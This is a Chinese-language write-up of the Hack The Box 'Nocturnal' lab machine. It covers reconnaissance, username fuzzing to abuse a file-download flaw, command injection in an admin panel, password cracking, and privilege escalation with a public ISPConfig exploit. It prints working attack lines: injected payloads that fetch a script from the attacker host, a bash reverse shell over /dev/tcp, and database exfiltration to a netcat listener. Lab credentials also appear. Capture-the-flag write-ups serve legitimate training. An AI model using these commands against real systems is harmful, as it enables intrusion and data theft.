HTB - nocturnal

admin 2025年4月22日09:55:12评论1 views字数 2305阅读7分41秒阅读模式

关注公众号夜风Sec,持续分享各种工具&学习记录,与师傅共同进步:)

信息收集

nmap

nmap --min-rate 10000 -A 10.10.11.64

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

访问80端口 -> 跳转到了nocturnal.htb -> 添加DNS解析

sudo vim /etc/hosts

10.10.11.64 nocturnal.htb

重新访问

功能点测试

注册 & 登录(测试发现存在admin用户) & 文件上传(白名单, 只允许特定后缀上传)

无法通过文件上传直接上传木马,也没有其他信息,上传一个允许的文件,下方可以下载( 获取url )

http://nocturnal.htb/view.php?username=admin1&file=1.docx

动动手脚,修改username为admin
信息:
 对下载的文件同样有白名单检测
 可以看到能够下载的文件列表 -> admin用户下没有其他文件 -> 爆破其他用户
 测试路径穿越 -> Failed
HTB - nocturnal
nocturnal00

fuff

ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ&file=2.docx' -H "Cookie: PHPSESSID=89hpoiit46he8ctafh6p3n00tu" -w  /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ -fs 2985

  • -fs:过滤数据包的长度( 第一次可以不加这个,我们默认已知admin用户存在,过滤掉其他的长度,不然会很多 )
HTB - nocturnal
nocturnal01

依次修改username,查看有没有可供下载的文件

admin amanda tobias

/view.php?username=amanda&file=privacy.odt 
HTB - nocturnal
nocturnal02

查看privacy.odt文件

HTB - nocturnal
nocturnal03
amanda:arHkG7HAI68X8s1J

Admin Panel

通过密码可以创建备份文件 -> 代码审计

admin.php中 command中间

password=%0abash%09-c%09"wget%09http://10.10.16.48/1.sh"&backup=
password=%0abash%09-c%09"bash%091.sh"%0a&backup=

#1.sh
bash -i >& /dev/tcp/10.10.16.48/8888 0>&1
HTB - nocturnal
nocturnal04
cat nocturnal_database.db > /dev/tcp/10.10.16.48/8889
nc -lvvp 8889 > 1.db
HTB - nocturnal
nocturnal05

john

sqlite3 1.db # 通过sqlite3进入该数据库进行查询
.tables # 查看所有表
select * from users # 查看users表中所有内容
HTB - nocturnal
nocturnal06

得到四个哈希 - 通过john进行爆破

john pass --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5

tobias:slowmotionapocalypse

ssh

ssh [email protected]

得到user.txt

提权

netstat -antlp

发现有8080端口

端口转发到本地

ssh [email protected] -L 9999:127.0.0.1:8080

ISPConfig登录框 -> 尝试前面两个得到的用户 -> 都失败

想着在shell中找找密码信息 -> 也没找到

在谷歌上一搜ispconfig -> 存在相关内容 -> 寻找版本

HTB - nocturnal
nocturnal07

找到Poc:https://github.com/ajdumanhug/CVE-2023-46818

但是需要管理员身份 -> 密码复用

admin:slowmotionapocalypse
python3 CVE-2023-46818.py <URL> <Username> <Password>

直接就得到了root

总结

入口点:功能点测试 -> 下载文件 => 任意文件下载 -> 可以查看能够下载的文件 -> 遍历用户
遍历到了用户 -> 文件泄露 -> privacy.odt -> 得到管理员凭证

AdminPanel:代码审计 -> 变量拼接执行命令 -> 没有过滤 -> 上传反弹shell -> 执行

ssh: 数据库泄露 -> 哈希爆破 -> ssh登录

提权: netstat发现8080端口在运行 -> 端口转发 -> 密码复用获取凭证 根据版本寻找Poc 

原文始发于微信公众号(夜风Sec):HTB - nocturnal

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月22日09:55:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB - nocturnalhttps://cn-sec.com/archives/3984348.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息